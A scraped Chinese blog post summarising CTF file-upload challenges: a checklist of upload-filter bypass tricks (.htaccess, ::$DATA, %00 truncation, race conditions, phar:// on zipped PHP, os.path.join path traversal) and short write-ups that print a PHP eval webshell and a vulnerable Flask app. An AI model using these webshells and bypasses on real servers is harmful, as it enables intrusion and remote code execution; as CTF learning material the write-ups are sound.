当前位置： 首页 > news >正文

ctf文件上传题小总结与记录

news 文章来源：https://blog.csdn.net/2301_80951345/article/details/143435335 2025/5/25 10:46:35

解题思路：先看中间件，文件上传点（字典扫描，会员中心），绕过/验证（黑名单，白名单），解析漏洞，cms，编辑器，最新cve

文件上传漏洞一般危害高

先看中间件，看有没有已经公布的漏洞，找文件上传点，试它的验证模式（黑白名单，后缀名，文件类型（MIME），文件头（png等文件有固定文件头））

  • 看能不能上传.htaccess文件，将其他类型的文件作为php执行，配合图片马
  • 对应中间件，查看是否有解析漏洞（四种）
  • ::$DATA会把之后的数据当成文件流处理，不会检测后缀名，且保持'::$DATA'之前的文件名；
  • 查看是否有二次渲染，先上传再验证再二次上传，二次渲染配合条件竞争，在文件第一次上传后迅速访问第一次上传地址，让其不能进行后续重命名验证上传操作，实现木马后门的植入。
  • 数据溢出：插入大量垃圾数据，绕过验证
  • 符号变异：利用” ’ ；等符号如"1.php，"x"x.php 绕过验证上传。
  • 数据截断：%00：x.php%00.jpg，将%00进行手工url编码
  • 数据截断：换行，如"x.(换行)p(换行)h(换行)p”
  • 重复数据：重复写filename数据

上传x.php，用重复数据迷惑验证，实际上filename仍是x.php

上传jpeg;x.php，绕过验证，/也可以作为一个条件绕过

  • 可上传zip文件，phar伪协议对压缩的php进行读取
  • os.path.join()函数存在绝对路径拼接漏洞，如file_path = os.path.join(“var”, “lib”, filename)，可访问任意文件
  • burp加字典爆破绕过

[MoeCTF 2022]what are y0u uploading？

文件上传

有源码，感觉应该不会很难，是个白名单绕过

没经过代理，直接执行了

传一个jpg上去，这次抓到包了，在这上面改，好像就不用经过第一个验证了

这咋办，偷偷去看一眼wp

什么！！！是f1ag.php

结束

总结：一道很简单的题目，小心掉坑

[NISACTF 2022]bingdundun~

phar执行php压缩文件 文件上传 PHP伪协议 PHP

phar://

主要是用于在php中对压缩文件格式的读取。这种方式通常是用来配合文件上传漏洞使用，或者进行进阶的phar反序列化攻击

只能上传图片或压缩包格式

将内容为

<?php
phpinfo();
@eval($_POST['cmd']);
?>

的putin.php文件压缩成zip文件，上传。

用phar://伪协议访问上传的文件

能够执行，用蚁剑连接

得到flag

总结：遇到可上传压缩文件的文件上传题，可将php文件压缩后上传，用phar读取来执行后门

[UUCTF 2022 新生赛]ez_upload

文件上传,Apache HTTPD 多后缀解析漏洞

此漏洞与版本无关，是因为用户配置存在漏洞

访问之后连蚁剑进入后台

总结：看到中间件为apache的文件上传题可以试一下1.jpg.php的格式。

[NISACTF 2022]babyupload

标签：文件上传，Python，Flask

os.path.join()函数存在绝对路径拼接漏洞

得到一个python文件

from flask import Flask, request, redirect, g, send_from_directory
import sqlite3
import os
import uuidapp = Flask(__name__)SCHEMA = """CREATE TABLE files (
id text primary key,
path text
);
"""def db():g_db = getattr(g, '_database', None)if g_db is None:g_db = g._database = sqlite3.connect("database.db")return g_db@app.before_first_request
def setup():os.remove("database.db")cur = db().cursor()cur.executescript(SCHEMA)@app.route('/')
def hello_world():return """<!DOCTYPE html>
<html>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">Select image to upload:<input type="file" name="file"><input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->
</body>
</html>"""@app.route('/source')
def source():return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)@app.route('/upload', methods=['POST'])
def upload():if 'file' not in request.files:return redirect('/')file = request.files['file']if "." in file.filename:return "Bad filename!", 403conn = db()cur = conn.cursor()uid = uuid.uuid4().hextry:cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))except sqlite3.IntegrityError:return "Duplicate file"conn.commit()file.save('uploads/' + file.filename)return redirect('/file/' + uid)@app.route('/file/<id>')
def file(id):conn = db()cur = conn.cursor()cur.execute("select path from files where id=?", (id,))res = cur.fetchone()if res is None:return "File not found", 404# print(res[0])with open(os.path.join("uploads/", res[0]), "r") as f:return f.read()if __name__ == '__main__':app.run(host='0.0.0.0', port=80)

将文件名改成/flag，访问返回网址后得到flag

原理：os.path.join()函数存在绝对路径拼接漏洞

os.path.join(path,*path)函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径，而之后的每个参数被当做组件拼接到基础路径之后。

然而，如果拼接的路径以/开头，那么包括基础路径在内的所有前缀路径将会被删除，该路径被视为绝对路径，造成任意文件读取漏洞。

如file_path = os.path.join(“var”, “lib”, filename)

如果攻击者传入的文件名参数为”/a/b/c.txt“，那么 file_path 会是一个绝对路径(/a/b/c.txt)。即 os.path.join 会忽略掉”var/lib“部分，攻击者可以不使用“.”字符就读取到任何文件。

[WUSTCTF 2020]CV Maker

标签：文件上传，图片马

随便注册一个账号

进入此页面

找到上传点了

发现这样就行

在末尾写入

<?php
phpinfo();
@eval($_POST['cmd']);
?>

拖拉图片访问图片地址，发现php被执行

蚁剑连接

？？？？！！！我flag呢？谁偷了

服了，原来phpinfo（）里就有

ctrl+f查找flag

 总结：简单的文件上传，让我找回了自信

相关文章：

ctf文件上传题小总结与记录

解题思路&#xff1a;先看中间件&#xff0c;文件上传点&#xff08;字典扫描&#xff0c;会员中心&#xff09;&#xff0c;绕过/验证&#xff08;黑名单&#xff0c;白名单&#xff09;&#xff0c;解析漏洞&#xff0c;cms&#xff0c;编辑器&#xff0c;最新cve 文件上传漏…...

编程日记 2024/11/3 10:30:23

什么是QAM

什么是调制呢&#xff1f; 调制就是把信号形式转换成适合在信道中传输的一个过程。可分为基带调制和载波调制。我们这里所说的调制都是载波调制。 什么是载波调制呢&#xff1f; 就是把调制信号骑到载波上&#xff0c;方法就是用调制信号去控制载波的参数&#xff0c;使载波…...

编程日记 2024/11/3 10:29:22

GraphQL 与 Elasticsearch 相遇：使用 Hasura DDN 构建可扩展、支持 AI 的应用程序

作者&#xff1a;来自 Elastic Praveen Durairaju GraphQL 提供了一种高效且灵活的数据查询方式。本博客将解释 Hasura DDN 如何与 Elasticsearch 配合使用&#xff0c;以实现高性能和元数据驱动的数据访问。 此示例的代码和设置可在此 GitHub 存储库 - elasticsearch-subgraph…...

编程日记 2024/11/3 10:27:20

面试题整理 3

总结了某公司面试遇到的值得整理记录的面试题&#xff0c;比较侧重于Redis方面。 目录 Redis持久化配置 RDB AOF Redis rdb日志文件路径编辑 命令行参数设置 Redis事务 Redis事务介绍 Redis事务阶段 watch监听 Mysql隔离级别 1.READ UNCOMMITTED 2.READ COMMITTED …...

编程日记 2024/11/3 10:25:18

数据结构（Java）—— 认识泛型

1. 包装类 在学习泛型前我们需要先了解一下包装类 在 Java 中&#xff0c;由于基本类型不是继承自 Object &#xff0c;为了在泛型代码中可以支持基本类型&#xff0c; Java 给每个基本类型都对应了一个包装类型。 1.1 基本数据类型和对应的包装类 基本数据类型包装类byteByt…...

编程日记 2024/11/3 10:24:16

处理后的视频如何加上音频信息？

总方案：原来模型对图像进行每帧处理，保留后的视频自然失去了audio信息，因此先用ffmpeg处理得到audio，原输出video加上audio即可，也采用ffmpeg处理。 imageio库用于读取和写入视频文件，并且你正在使用img_cartoon模型处理每一帧图像。然而，这段代码只处理了视频的图像部…...

编程日记 2024/11/3 10:23:15

02LangChain 实战课——安装入门

LangChain安装入门 一、大语言模型简介 大语言模型是利用深度学习技术&#xff0c;尤其是神经网络&#xff0c;来理解和生成人类语言的人工智能模型。这些模型因其庞大的参数数量而得名&#xff0c;能够理解和生成复杂的语言模式。它们通过预测下一个词来训练&#xff0c;基于…...

编程日记 2024/11/3 10:20:13

Python函数中关键字参数、位置参数、默认参数有何不同

在Python中&#xff0c;函数的参数分为三种类型&#xff1a;关键字参数&#xff08;key arguments&#xff09;、位置参数&#xff08;positional arguments&#xff09;和默认参数&#xff08;default arguments&#xff09;。它们的主要区别在于调用时如何传递值&#xff0c;…...

编程日记 2024/11/3 10:19:12

PNG 格式和 JPG 格式都什么时候用

通常我们都知道&#xff0c;如果是针对网络传输或者网站的格式&#xff0c;我们多会使用 PNG 格式。 如果是照片&#xff0c;大部分都是 JPG 格式的。 那么我们网站常用的截图应该保存为什么格式呢&#xff1f; 照片截图 照片截图应该保存为 JPG 格式。 虽然现在我们多存储…...

编程日记 2024/11/3 10:17:10

Qt 练习做一个登录界面

练习做一个登录界面 效果 UI图 UI代码 <?xml version"1.0" encoding"UTF-8"?> <ui version"4.0"><class>Dialog</class><widget class"QDialog" name"Dialog"><property name"ge…...

编程日记 2024/11/3 10:14:07

计算机视觉实验一：图像基础处理

1. 图像的直方图均衡 1.1 实验目的与要求 (1)理解直方图均衡的原理与作用; (2)掌握统计图像直方图的方法; (3)掌握图像直方图均衡的方法。 1.2 实验原理及知识点 直方图均衡化是通过灰度变换将一幅图象转换为另一幅均衡直方图&#xff0c;即在每个灰度级上都具有相同的象素…...

编程日记 2024/11/3 10:13:06

【WebApi】C# webapi 后端接收部分属性

在C#的Web API后端接收部分属性，可以使用[FromBody]特性配合JsonPatchDocument或者Delta来实现。这里提供一个使用JsonPatchDocument的示例。 首先，定义一个模型类：public class User public class User {public int Id {get; set; }...

编程日记 2024/11/3 10:12:06

Java 使用 Redis

Java 使用 Redis 1. 引言 Redis是一个开源的、基于内存的数据结构存储系统，可以用作数据库、缓存和消息中间件。它支持多种类型的数据结构，如字符串、哈希、列表、集合、有序集合等。由于Redis基于内存，其读写速度非常快，因此被广泛应用于需要高速缓存和实时通讯的场景。…...

编程日记 2024/11/3 10:10:03

【ONE·Linux || 高级IO（二）】

总言 主要内容&#xff1a;多路转接&#xff1a;epoll学习。       文章目录 总言5、多路转接&#xff1a;epoll5.1、相关概念与接口5.1.1、基本函数认识5.1.1.1、epoll_create5.1.1.2、epoll_ctl5.1.1.3、epoll_wait 5.1.2、epoll的工作原理5.1.2.1、准备工作&#xff08;…...

编程日记 2024/11/3 10:09:02

将 IBM WatsonX 数据与 Milvus 结合使用，构建用于知识检索的智能 Slack 机器人

在当今快节奏的工作环境中&#xff0c;快速轻松地访问信息对于保持生产力和效率至关重要。无论是在 Runbook 中查找特定说明&#xff0c;还是访问关键知识转移 &#xff08;KT&#xff09; 文档&#xff0c;快速检索相关信息的能力都可以产生重大影响。 本教程将指导您构建一个…...

编程日记 2024/11/3 10:06:59

2024 网鼎杯 CTF --- Crypto wp

文章目录 青龙组Crypto1Crypto2 白虎组Crypto1Crypto2 朱雀组Crypto2Crypto3part1part2part3part4 青龙组 Crypto1 题目&#xff1a; from Crypto.Util.number import * from secret import flagp getPrime(512) q getPrime(512) n p * q d getPrime(299) e inverse(d,…...

编程日记 2024/11/3 10:05:57

深度学习基础知识-损失函数

目录 1. 均方误差&#xff08;Mean Squared Error, MSE&#xff09; 2. 平均绝对误差&#xff08;Mean Absolute Error, MAE&#xff09; 3. Huber 损失 4. 交叉熵损失&#xff08;Cross-Entropy Loss&#xff09; 5. KL 散度&#xff08;Kullback-Leibler Divergence&…...

编程日记 2024/11/3 10:02:54

《逆向记录》

这里写自定义目录标题 1.什么是vmp加密VMP加密的工作原理VMP加密的应用场景和优缺点实际应用案例 2.什么是ast混淆3.魔改算法总结 1.什么是vmp加密 ‌VMP加密&#xff08;Virtual Machine Protection&#xff09;‌是一种软件保护技术&#xff0c;旨在通过虚拟化和加密技术来保…...

编程日记 2024/11/3 10:01:53

chatgpt3.5权重参数有多少MB；llama7B权重参数有多少MB

目录 chatgpt3.5权重参数有多少MB llama7B权重参数有多少MB chatgpt3.5权重参数有多少MB 关于ChatGPT 3.5的权重参数占用的存储空间大小，虽然直接给出具体的MB数值可能较为困难（因为这取决于多种因素，如参数表示的精度、是否进行了压缩等），但可以根据其参数量来估算一个…...

编程日记 2024/11/3 10:00:53

ST IoT Wireless 物联网与无线技术 研讨会

一、研讨会背景与目的 ◆ 意法半导体致力于提供可靠且经济实惠的无线连接解决方案,包含Wireless NFC Security & Esim等产品。 ◆ 将智能物体连接到互联网和云&#xff0c;或者从更广泛的意义上说&#xff0c;连接到物联网&#xff08;IoT&#xff09;。 ◆ 远程监控、配…...

编程日记 2024/11/3 9:59:51

PHP实现雪花算法生成唯一ID

引言 雪花算法是Twitter开源的分布式ID生成算法&#xff0c;可以产生64位的ID。其中第一位是固定的正数标识&#xff0c;41位用于存储时间戳&#xff0c;剩下的为机器ID和序列号。通过时间戳、机器ID和序列号的组合&#xff0c;确保每个ID都是唯一的。 PHP代码 1、定义雪花算…...

编程日记 2024/11/3 9:57:50

APP的设置页面，应该怎样尽可能减少用户的输入操作呢

一、引言 在当今数字化时代&#xff0c;移动应用程序&#xff08;APP&#xff09;已经成为人们生活中不可或缺的一部分。无论是社交娱乐、工作学习还是日常生活&#xff0c;我们都离不开各种 APP 的帮助。而 APP 的设置页面作为用户调整应用参数、个性化定制功能的重要入口&am…...

编程日记 2024/11/3 9:56:49

Node.js：内置模块

Node.js&#xff1a;内置模块 Node.jsfs模块读取文件写入文件__dirname path模块路径拼接文件名解析 http模块创建服务 Node.js 传统的JavaScript是运行在浏览器的&#xff0c;浏览器就是其运行环境。 浏览器提供了JavaScript的API&#xff0c;以及解析JavaScript的解析引擎&a…...

编程日记 2024/11/3 9:52:45

3. keil + vscode 进行stm32协同开发

1. 为什么使用vscode 主要还是界面友好&#xff0c;使用习惯问题&#xff0c;vscode 从前端&#xff0c;js, c/c, qt, 仓颉&#xff0c;rust都有很好插件的支持&#xff0c;并且有romote&#xff0c; wsl 等很多插件可以提高效率&#xff0c; 唯一的问题就是要使用插件进行环境…...

编程日记 2024/11/3 9:51:44

React 组件生命周期与 Hooks 简明指南

文章目录 一、类组件的生命周期方法1. 挂载阶段2. 更新阶段3. 卸载阶段 二、函数组件中的 Hooks1. useState2. useEffect3. useContext4. useReducer 结论 好的&#xff0c;我们来详细讲解一下 React 类组件的生命周期方法和函数组件中的钩子&#xff08;hooks&#xff09;。 …...

编程日记 2024/11/3 9:50:43

【springcloud】gateway网关的作用

目录 1. 说明2. 路由转发3. 负载均衡4. 安全认证与授权5. 熔断与降级6. 请求限流7. 监控与日志8. 过滤器功能 1. 说明 1.在Spring Cloud中&#xff0c;Gateway网关扮演着至关重要的角色。2.基于Spring Framework 5、Spring Boot和Project Reactor构建的API网关&#xff0c;专为…...

编程日记 2024/11/3 9:48:41

「C/C++」C++11 之＜thread＞多线程编程

✨博客主页何曾参静谧的博客📌文章专栏「C/C++」C/C++程序设计📚全部专栏「VS」Visual Studio「C/C++」C/C++程序设计「UG/NX」BlockUI集合「Win」Windows程序设计「DSA」数据结构与算法「UG/NX」NX二次开发「QT」QT5程序设计「File」数据文件格式「PK」Parasolid函数说明目…...

编程日记 2024/11/3 9:47:40

HTML前端页面设计静态网站-仿百度

浅浅分享一下前端作业&#xff0c;大佬轻喷~ <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><title>百度&#xff08;伪&#xff09;</title><style>body {margin: 0;padding: 0;}.top-bar {dis…...

编程日记 2024/11/3 9:44:37

百度SEO是否还有用？福州百度SEO专家林汉文为你深度解析

大家好&#xff0c;我是林汉文&#xff0c;一名专注于百度SEO优化的专家&#xff0c;最近有很多人问我&#xff1a;百度SEO还有用吗&#xff1f;在如今快速变化的数字营销环境中&#xff0c;这确实是一个值得探讨的问题。今天&#xff0c;我就来为大家详细分析百度SEO的现状&am…...

编程日记 2024/11/3 9:43:36

数学建模学习（134）：使用Python基于WISP的多准则决策分析

WISP算法技术性文章 1. 算法介绍 WISP（Weighted Independent Set Problem）是一种优化算法，主要用于解决图论中的加权独立集问题。加权独立集问题是一个经典的组合优化问题，涉及从一个图中选择一个独立的顶点集，使得所选顶点的总权重最大。这个问题在计算机科学、运筹学、…...

编程日记 2024/11/3 9:39:32